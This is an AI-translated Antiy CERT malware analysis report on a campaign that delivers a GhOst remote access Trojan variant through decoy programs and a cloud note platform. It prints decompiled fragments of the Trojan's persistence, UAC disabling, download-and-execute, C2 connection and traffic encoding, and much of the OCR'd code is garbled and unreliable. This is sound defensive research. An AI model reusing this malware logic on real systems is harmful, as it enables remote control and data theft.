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Analysis of Attack Activities Using Cloud Note Platforms to Deliver

Remote Access Trojans

Antiy CERT

First published: March 24, 2023

The original report is in Chinese, and this version is an Al-translated edition.

1 Overview

Recently, Antiy CERT detected an attack activity that used a cloud note platform to deliver a remote access
Trojan. The attacker hosted the remote access Trojan-related payload files on a cloud note platform, evaded security

product detection on the traffic side with the help of a trusted site, and continued to update the files therein.

This attack began in 2022. The attacker dropped bait files disguised as applications on download sites, or used
phishing emails to send bait files disguised as documents to Iure users to download and execute them. After the bait
files are executed, the "DDR" (Dead Drop Resolvers ) technology is used to download the attack payload from a
cloud note platform, and the executable program is used to load the malicious DLL file, obtain the Shellcode and

decrypt it to obtain the final remote access Trojan , thereby achieving remote access of the user's device.

Through correlation analysis, it was determined that the remote access Trojan ultimately delivered by the
attacker using the bait file was a modified variant based on the GhOst remote control Trojan family. This remote
access Trojan has a variety of customized malicious functions such as persistence, information theft, download and
execution, and file management, which can remotely control the victim's device and has strong concealment. The
code of the GhOst remote access Trojan has been made public, so the attacker can customize the malicious functions
according to needs and quickly update the malicious code. Antiy CERT published "Analysis of Attacks Involving the
Deployment of Remote Access Trojans Through a Fake Chinese Version of the Telegram Website" on October 24,

2022 M, which introduced another attack activity that delivered this remote access Trojan variant.

It has been verified that Antiy Intelligent Endpoint Protection System (IEP) can effectively detect and kill

the remote access Trojan.

©Antiy All Rights Reserved. Reprint without Loss is welcome .Page 1



k=t

Analysis of Attack Activities Using Cloud Note Platforms to Deliver Remote Access Trojans

2 ATT&CK Mapping Diagram Corresponding to the Incident

Regarding the complete process of the attacker launching the remote access Trojan, Antiy sorted out the

ATT&CK mapping diagram corresponding to this attack incident as shown in the figure below.
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Figure 2-1 Mapping of technical characteristics to ATT& CK

The following table lists the techniques used by the attackers.

ATT&CK
Phase/Category

Specific Behavior

Get infrastructure
Resource development

Environmental preparation

Execute Induce users to execute

Boot or log in with autostart

Persistence
Create or modify system processes

Deobfuscate/decode files or

information

Hidden behavior
Defense evasion Counterfeit

Modify the registry

Obfuscate files or information

Discover application window

©Antiy All Rights Reserved. Reprint without Loss is welcome
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Get the C2 server

Host malicious payloads on cloud platforms
Induce users to execute
Achieve automatic startup
Create a Service

Decode payload information
Hidden behavior

Impersonate other programs
Modify the registry

Obfuscate payload information

Discovery application window
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Command
Control

Data exfiltration

Discover files and directories
Discover process
Query the registry

Discover software

Discover system network
configuration
Discover system network

connections

Discover system services

Find system time
Compress/encrypt collected data
Automatic collection

Collect local system data

Data temporary storage

Encode data

Use encrypted channels

Use standard non-application layer
protocols

Automatic exfiltration of data

Use C2
transmission

channel for return

Corrupt data
Manipulate data
Tamper with visible content

System shutdown/restart

3 Protective Recommendations

In order to effectively defend against such attacks and improve security protection, Antiy recommends that

enterprises take the following protective measures:

Analysis of Attack Activities Using Cloud Note Platforms to Deliver Remote Access Trojans

Discover files and directories

Discover process

Query the registry

Discover software

Discover system network configuration
Get system network connection
Discover system services

Find system time

Encrypt of collected data

Automatic collection

Collect local system data

Temporarily save keystrokes to a file
Encode data

Encrypt traffic

Use TCP protocol

Automatically send online data packets
Use C2 channel for return transmission
Delete specified data

Manipulate data

Tamper with visible content

System shutdown/restart

3.1 Enhance Host Security Protection Capabilities

1. Install terminal protection system: Install anti-virus software. It is recommended to install Antiy Intelligent

Endpoint Protection System;
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2. Strengthen password strength: Avoid using weak passwords. It is recommended to use a password of 16
characters or longer, including a combination of uppercase and lowercase letters, numbers, and symbols.

Avoid using the same password on multiple servers.

3. Deploy intrusion detection system (IDS): Deploy traffic monitoring software or equipment to facilitate the
discovery and tracking of malicious code. Antiy Persistent Threat Detection System (PTD) uses network
traffic as the detection and analysis object, and can accurately detect a large number of known malicious
codes and network attack activities, and effectively discover suspicious network behaviors, assets and

various unknown threats.

3.2 Website Propagation Protection

1. It is recommended to use genuine software downloaded from the official website. If there is no official
website, it is recommended to download from a trusted source and scan with anti-virus software after

downloading;

2. It is recommended to use a sandbox environment to execute suspicious files, and then use the host to
execute them when safety is ensured. Antiy PTA uses a combination of deep static analysis and sandbox
dynamic loading and execution to effectively detect, analyze and identify various known and unknown

threats.

3.3 Initiate an Emergency Response Promptly When Attacked

Contact the emergency response team: If you are attacked by malware, it is recommended to isolate the attacked
host in time and protect the site while waiting for security engineers to check the computer; Antiy 7*24 hours service

hotline: 400-840-9234.

It has been verified that Antiy Intelligent Endpoint Protection System (IEP) can effectively detect and kill the

remote access Trojan.
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RHE W EFF

Figure 3-1Antiy IEP achieves effective protection for user systems

4 Attack Process

4.1 Attack Flowchart

The attacker drops bait files disguised as applications to download sites, or uses phishing emails to send bait
files disguised as documents to Iure users to download and execute them. After the bait file is executed, the "DDR"
(Dead Drop Resolvers) technology is used to download a compressed package file containing the attack payload from
a cloud note platform, which is automatically started at boot time, creates an explorer.exe process to run the specified
executable program through a shortcut, and then performs a self-deletion operation. After the executable program
runs, it loads the first-stage DLL file, obtains the Shellcode and decrypts it to obtain the final remote access Trojan.
The attacker can use the remote access Trojan to persist the victim host, obtain system information, remotely control,

download and execute other programs, and other operations.
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Figure 4-1Attack flow chart

4.2 Detailed Analysis of the Attack Process
42.1 Propagation Phase

Attackers drop bait files disguised as applications on download sites, or use phishing emails to send bait files

disguised as documents to lure users to download and execute them.

Table 4-1 Some bait files

Category Program Name

CiscoWebExStart.exe
PuTTY.exe
Fake apps suetup.exe ( bundles the malicious program with the Telegram installer)
Air Aviation Management System.exe
Click here to install Simplified Chinese 1515444n.exe
March salary commission details  7979.exe
Executable programs disguised

Latest company notices 9524.exe
as documents

Mining tutorial BTC ETH CHIA3.exe
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Issue settlement report x.exe

The latest important list of fugitives in China i.exe
4.2.2  Malicious Payload Download Phase

The attacker used the "DDR" (Dead Drop Resolvers ) technology to host the malicious payload in the form of a
compressed file on the cloud note platform, using trusted sites to evade detection by security products on the traffic

side and continuously update the content.

Xs5D quanshiyu2022 . ]

uzip 584418 2023-03-08

Figure 4-2Host the malicious payload in a compressed package on the cloud note platform

4.2.3 Remote Access Trojan Execution Stage

The attacker hosted multiple compressed files containing malicious payloads on the cloud note platform. The
core of the attack is to use the executable program in the malicious payload to load the first-stage DLL file, obtain
the Shellcode in info.txt, and finally deliver a modified variant based on the GhOst remote access Trojan family. In

the following "Sample Analysis" section, one of the malicious payloads will be used as an example to introduce it.
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e e = bt =5 Fuh

B gspawn-win32-helper.exe 2022/10/27 23:50 RIAER 21 KB

| info.tbet 2023/3/1 14:15 EIHE 492 KB

|%| libglib-2.0-0.dll 2023/1/17 3:26 RAEFTE 421 KB
=S

Figure 4-3Malicious payload

5 Sample Analysis

5.1 Sample Label
Table 5-1Sample labels

Virus name Trojan/Win32.Downloader

Original file name VBGood Browser 1.8.exe

=
5

472262D56604FS89EE85278FAA43C814
Processor architecture Intel 386 or later, and compatibles

File size 296.00 KB (303,104 bytes )

File format BinExecute/Microsoft. EXE[:X86]
Timestamp 2023-02-28 18:16:39

Digital signature None

Shell type None

Compiled language Microsoft Visual Basic (6.0)

V T first upload time 2023-03-03 17:30:09

VT test results 37/70

5.2 Detailed Analysis

After the bait file is run, it obtains the malicious compressed package file hosted by the attacker from a cloud

note platform and downloads it to the "C:/Users/Public" folder.
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Figure 5-10btain the malicious compressed file

The malicious payload in the compressed file is decompressed to the  folder

"C:\Users\Public\Documents\Arice\<random 6 numbers and English letters> ".

'Data Table: 402408

Dim var_ 98 As String

Dim var 3C A= String

loc 43DBEBZ: wvar 8C = Proc 1 15 432890 (&)

loc_43DBBEC: wvar_ 94 = "C:\Users\Public\Music\" & war_8C
loc 43DBCY9: Call Proc 1 9 432DIC(wvar 94 & "\")
| loc 43DBE9: var 88 = "C:\Users\Public\Documents\Arice\" & Proc 1 15 432850 (6] &/ 5 |

loc_43DEF6: Call Froc_ 1 9 _432DIC(var_88) P
loc 43DC00: Sleep (&H12C)

Figure 5-2The malicious payload is decompressed to the specified path

After decompression, a shortcut is created in the "% AppData %\<random 5 numbers and English letters> "
folder and moved to the startup folder for persistence. The shortcut is used to execute the executable program in the

malicious payload.

ACobisle SYSTEM_STARTER

Skiis RIFETRR

Biriis: iet0fs

BfR(T):

Figure 5-3Use shortcuts to achieve persistence

Modify the relevant registry entries and turn off the UAC prompt.
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Private Sub Proc 1 4 332430(arg C) '432430

‘Date Table: 402408

CurrentVersion\ippConpacfiags\layers", var 28)

CarrentVarsion\igpConpatfiage\layess™, 0, SH2003F, war E8)

= § S

Figure 5-4Turn off UAC

Create an Internet shortcut in the "C:\Users\Public\Music\<random 6 numbers and English letters> " folder and
create an explorer.exe process execution shortcut to run the next stage of the malicious payload.

var_128 = "[InternetShortcut]” & vbCrLf & "URL=file:\\\" & wvar_118 & vbCrlf & "WorkingDirectory=" & var_88
For var_ 138 = 0 To &: var_F4 = var_138 'Lo

var_108 = var_94 & "\" & Proc_1_15_432830(6) & ".url"
If (var FC(UBound(var ¥C, 1)) <> vbNullString) Then
ReDim Preserve var FC(0 To (UBound(var FC, 1) + 1))
End If [
var_FC (UBound (var_FC, 1)) = var_108 o~

Proc_1_l14_42F238 (var_108)
Figure 5-5Create an Internet shortcut

Finally, the decoy file performs a self-deletion operation and deletes the specified related files.

loc 43E02F: Sleep(&H3EE)

loc 43E03F: DeleteFile(var F&)

loc 43E0S4: DeleteFile(var EC)

loc 43E075: DeleteFile(wvar 114)

loc 43E090: DeleteFile(arg C) o ﬁ ﬁ
loc 43EQOAl: Exit Sub

Figure 5-6Delete related files

5.2.1 Load the First Stage DLL File

There are 3 files in the folder "C:\Users\Public\Documents\Arice\< random 6 numbers and English letters> ":
The executable program is renamed to 6 random numbers and English letters. After running, it loads the first-stage

libglib-2.0-0.d1l file, reads the Shellcode in the info.txt file, and finally executes the second-stage DLL file in the

memory.
E# BT HEs =i Foh
57 ToSF3e.exe 2022/10/27 23:50 RS 21 KB
@ libglib-2.0-0.dIl 2023/1/17 3:26 RERETE 421 KB
| info.bet 2023/3/1 14:15 AR 492 KB

= F S
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Figure 5-7Attack components

The executable program uses the TLS callback function to start a thread and call the export function in the

libglib-2.0-0.dlI file.

88481783 C74424 18 6968 dword ptr ss:[esp+8x18],ToSF3e.B80406869 "'_argc >= ARG_COUNT"
duord ptr ss:[esp+8xC],To3F3e.004860A0 “WinMain™
duword ptr ss:[esp+BxB],
dword ptr ss:[esp+8x4],ToSF3e.0048607C "gspawn-win32-helper.c"

moy_dword ptr sc:lespl,
E8 n1e85080080 call <jmp.&libglib-2.8-8.g_assertion_message_expr> |
A1 Ge8BLBAae mov eax,
8B40 B4 mov eax,
898424 mov dword ptr ss:i[esp],eax To3F3e.008400000
E8 n1258000 call <jmp.&msvcrt.atoi>
8835 00804000 (mov esi,
BBSE 04 mov ebx,
BICS mov ebp,eax ToSF3e.004060000
8901C24 mov dword ptr ss:[esp],ebx
E® 96250088 call <jmp.&msucrt.strlen>
BB7CO3 FF 23 cmp
8fo4co sete al
BFBGCEH movzx eax,al
804424 20 mov duword ptr ss:[esp+8x28],eax To3F3e.008400000
B8B4G B8 mov eax,
834424 28 8A add dword ptr ss:[esp+8z20],
898424 mov dword ptr ss:[esp],eax ToSF3e.08084000008

D [l dL
ae4E1De8=<jmp.&libglib-2_8-8.g9_assertion_message_expr>

Figure 5-8Load libglib-2.0-0.dll file

Read the contents of the info.txt file and get the Shellcode.

BDUAZK UNNZUB0l es cox o yt silesprixzon)
L)
L 1n now
S0
COREZE ShU2U00inoy Dyle pt - L3 cBxiun ),
1 nov X
s UIE9FEHS call livgliv-.1008CKe
Honc2a 54 Lea eon, uord ptr ssifespsinse]

L now o

1e0e 4 " 2080l mov byte pte ss5i] %
L

1008895 C SEEREFFS call livgliv- . 100008
1e0e8n0T| A oh
10008 'Qll'li CARA2N HROZ000{ mov Dyle prr -+
1e0eennn| ZAFSosbe call livglin-.
1008841 n' } ¢ ale
181 13| ¢ crp eax ,ebx
10088015 | B short 1ivgliv- 1000041
1e0e8n1? B 1ea edx duord ptr ssslespsiixal)
100 l-m‘ now o0
18088110 b 02 I short Libglib-. 10008821

. B 1] SN

Woese| 3
o ‘

Figure 5-9Get Shellcode
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Decrypt the second-stage DLL file and call the export function in it.

o8 ECCABI10 1i0g11b- . 1083ICEEC | ASETT “Fock™

e

E8 97SHEFFF call livgliv-.roenisae

FEDR call

56 1

? ER CFSC £all libglib-.100D9770

10008001 s b oy | JONOra ptr ss:fesp+fudn]
10008085 B3CN aC add vsp,

10088048 Bo 10000008 sy cbp,

U Juey cap | b
'n A2 m short 1libglib-.100UBAF3I
. 02% 58 mov ndi dword ptr ssifeupsiixSe
cop vax,ed
B short 1ibglib-.1008BAEA

12a «

L3 DT
50
R E8 JRES0000 all 1inglib-. 10018305
100080C0|  BICK BN vEp,
IGOREARRL L7060 QrORURUD.

1003CHEC=1ingLib- . 1083CHLE

o an| e LY
ne| an 08 enjan 00 @
0ol on 00 00| oo oe
oe| s ou By 00 wo|
ok |
.|

L
|

an{nt Be
[ u! o
01
0e ot
32 BE 6
A0A70MDO! BT BE DD AR|AS
RTINS0 [0
JOMER A0 20 00 NB| D ] 0 fa oe
s 00 02/ nc 81 06 0001 B9 88 53|00 00 o Pi

Figure 5-10Load the second stage DLL file

5.2.2 Second Stage DLL File

The second stage DLL file is a variant based on the GhOst remote access Trojan, which can achieve persistence

by adding related registry entries or creating services.

©Antiy All Rights Reserved. Reprint without Loss is welcome . Page 12



ﬁ —
o - J * Analysis of Attack Activities Using Cloud Note Platforms to Deliver Remote Access Trojans

if ( dword_ 748228 == 1 )

i
memset(vi, @, sizeof(vwe});
vy o= 8;
vd = 8;

strepy((char *)&NewFileName, "C:\\Windows\\PIEERRE .exe”);

GetModuleFileNameA(®, &Filename, @x184u);

CopyFileA(&Filename, (LPCSTR)&NewFileNams, @);// FHEHATIEFEHEIC \WindowsBERET» HF@BAFPHEES . exe

if ( !RegOpenKeyExA(HKEY CURRENT USER, SubKey, 8, @xFe@3Fu, &phkResult) )// B\ Windows\\FIHEREE . exeifmiNE ST % Bzhilm

RegSetWalueExA(phkResult, ValueName, @, lu, (const BYTE *)&MNewFileName, @x18u);
RegCloseKey(phkResult);

while ( 1)
sub_725C78(); /1 EEC
Sleep(e8u);
1
1
if ( dword_748224 == 1 )
if ( !sub_7269C8() ) /P BEEEMEDR: HEESEIRS
1

strepy((char *)&NewFileName, "C:\\Windows‘\swvchost.exe™);
GetModuleFileNameA(®, &Filename, @xElu);
CopyFileA(&Filename, (LPCSTR)&NewFilelame, @);// HAHATEFEHEIC: WWwindowsBFR T Hdr&Msvchost.exe
sub_725B5@();
sub_72665@(Servicelame, DisplayName, aCdefghijlmnopq);// AC:\\Windows\\svchost.exeB U RE
Sleep(568u);
sub_725C70(); /fEREC
exit(@);
b
MewFilelame.lpServiceName = ServiceName;
MewFileName.lpServiceProc {LPSERVICE_MAIN_FUNCTIONA)sub 725E28;
ve = @83 —
Vi o= e = & S
StartServiceCtrlDispatcherA(&NewFileName);
result = sub 725C7@(); /1 ERC

Figure 5-11Achieve persistence

This DLL file is able to download and run other programs.

size_t vl; // krB4_4

char *v2; // ebx

char *v3; // eax

CHAR String2; // [esp+Ch] [ebp-288h] BYREF
char v&[588]; // [esp+tDh] [ebp-1FFh] BYREF
_ int16 w7; // [esp+289h] [ebp-3h]

char v8; // [esp+2@Bh] [ebp-1h]

vl = strlen{al) + 1;
if ( vl ==1)
return @;
v2 = (char *)malloc(vl);
gmemcpy(v2, al, vl);
v3i = strrchr(vz, 47);
if { v3 == (char *)-1 )
return 8;
String2 = @;
memset({ve, @, sizeof(ve));
vio= By
vd = B8;
wsprintfa(&string2, "c:\\¥s", v3 + 1); ﬁ *
if { URLDownloadToFileA(®, v2, &String2, @, @) || 'sub_720288(&String2) )// TEI# o
return 8;
sub_726@98(&5tring?, 5); // FRERFEHKEY_CLASSES pod\shell\open\commandiE{T T ER13E F
return 1;

Figure 5-12Download and run other programs

©Antiy All Rights Reserved. Reprint without Loss is welcome . Page 13
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Try to connect to the C2 address. After the connection is successful, create a thread to receive the data returned

by the server.

sub_72198@(this);
ResetEvent(*(HANDLE *)}(this + 78));
®(_BYTE *)(this + 83) = @;
vd = socket(2, 1, 6);
*( DWORD *)(this + 72} = vd;
if (vt == -1
return @;
vE = gethostbyname(name);
if ( lwve )
return @;

v13.sa_family = 2;
*(_WORD *)vl3i.sa_data = htons(hostshort);
*(_DWORD *)(this + 72)
WORD *)&v13.sa_data[2]
connect(vd, 8&v13, 18)

FE( DWORD **)ve-»h_addr_list;
= -1)

o ==

*(_DWORD *)}(this
WORD *)optval = 1;
Isetsockopt(vd, @xFFFF, 8, cptval, 4) )

+ 72);

w7 = *{ DWORD *)(this + 72);
vInBuffer[®] = 1;
vInBuffer[1l] = 136e88;
vInBuffer[2] = S080;
WSAToctl(v7, @x93888884, vInBuffer, @xCu, @, @, &chBytesReturned, @, 8);
¥
*(_BYTE *)(this + B83) = 1;
*(_DWORD *)(thisz + 68) = sub 72876@(@, @, (int)sub 721678, this, @, @);// BIEHEEEIESEERAIHE

return 1;

Figure 5-13Connect to C2 address and receive return data

When receiving data returned by the server, subtract 49 from the data byte by byte, and then perform XOR with

0xFC to decrypt the received data.

loc_7287DF: ; CODE XREF: sub_7287DB+1ELj
mov dl, [ecx+eax]
sub dl, 49
Xor dl, @FCh
mov [ecxteax], dl
inc ecx
cmp ecx, esi
jl short loc_72870DF

Figure 5-14Decrypt received data

This GhOst remote access Trojan variant collects basic system information such as the operating system version
and CPU, and attempts to obtain information such as the QQ number logged in to the current system, related processes
of anti-virus products, and whether the current process is in the analysis environment, in order to construct an online

package.
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VersionInformation.dwdsVersionInfoSize = 156;

GetVersionExA(&VersionInformation);

sub_727288(
(int)}&ersionInformaticn.dwMajorversion,
(int)}&VersionInformaticn.dwMinorVersion,

&/ersionInformation.dwBuildNumber); /il FERERSGNE
v23 = sub_726DEB() != 8;
sub_726BCA( (int)vie); /1 BFRCcPUER
v3 = sub_726F98(); /) BAERE, RESRAIRRERNNSER
IstrepyA(Stringl, w3);
strepy(v26, sub_7271F8()); /O BA#E REEREFEERSERERTE . FRFENEREE LI
V28 = B

plii.cbsize = 8;
GetLastInputInfo(&plii);

if ( GetTickCount() - plii.dwTime > @x2BF2e ) // HREHAHESRE—AHABHHENEE. KEITLTHTTIE

v2E = 13
Buffer.dwLength = 64;

GlobalMemoryStatusEx(&Buffer); /i FERAEEE
v24 = Buffer.ullTotalPhys »>» 28;

w2l = al;

|..2 =

sub_726888();

v = (const CHAR *)((int (*)(void))sub_726EB8)();// T LM FEHAIEEENTE

IstrcpyA(vls, wvd);

sub_72716@( (int)aRdpTcp, w29, 128); /) FREHARHTESEAROS

sub_726E3@( (int)v3l, vI5, 58); /) EEMarkTime T MEWN, @il ET DS SE
return sub_721A18((char *)al, &vl4, @x23Cu); // [EIC2EEEE

K=

Figure 5-15Collect information to construct an online package

After constructing the online packet, the online packet data is encrypted. The encryption algorithm is opposite
to the algorithm for decrypting the received data: the sent data is first XORed with OxFC byte by byte, and then added

with 49. Finally, the encrypted online packet is obtained and sent to the C2 server.

loc_721B7F: 3 CODE XREF: sub_721B7841El]
mow dl, [ecx+eax]
nor dl, @FCh
add dl, 49
mov [ecxteax], dl
inc ecx
cmp ecx, esi
jl short loc 721B7F

Figure 5-16Encrypt online packet data

6 Summarize

The attacker drops bait files disguised as applications on download sites, or uses phishing emails to send bait
files disguised as documents to lure users to download and execute them. The attacker uses the "DDR" (Dead Drop
Resolvers) technology to host malicious payloads on cloud note platforms, and uses trusted sites to evade security
products' detection on the traffic side, and ultimately delivers remote access Trojans to remotely control the victim's

host and execute a variety of malicious functions.
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The GhOst RAT has been made public, so there are still attackers who customize and develop malicious functions
based on the open source code and use fake websites, counterfeit programs, phishing emails,etc. to spread GhOst RAT
variants. Antiy CERT published "Analysis of Attacks Involving the Deployment of Remote Access Trojans Through
a Fake Chinese Version of the Telegram Website" on October 24 , 2022 1| which introduced another attack activity

that delivered this RAT variant.

We recommend that users download genuine software from official websites and do not easily open files in chat
groups, forums, or emails that have not been security-checked. To prevent the impact of this attack from expanding,

Antiy CERT will continue to follow up and pay attention.
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Appendix 1: References

[ 1] Analysis of Attacks Involving the Deployment of Remote Access Trojans Through a Fake Chinese Version of the
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Telegram Website

https://www.antiy.cn/research/notice&report/research report/20221024.html
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Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.
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Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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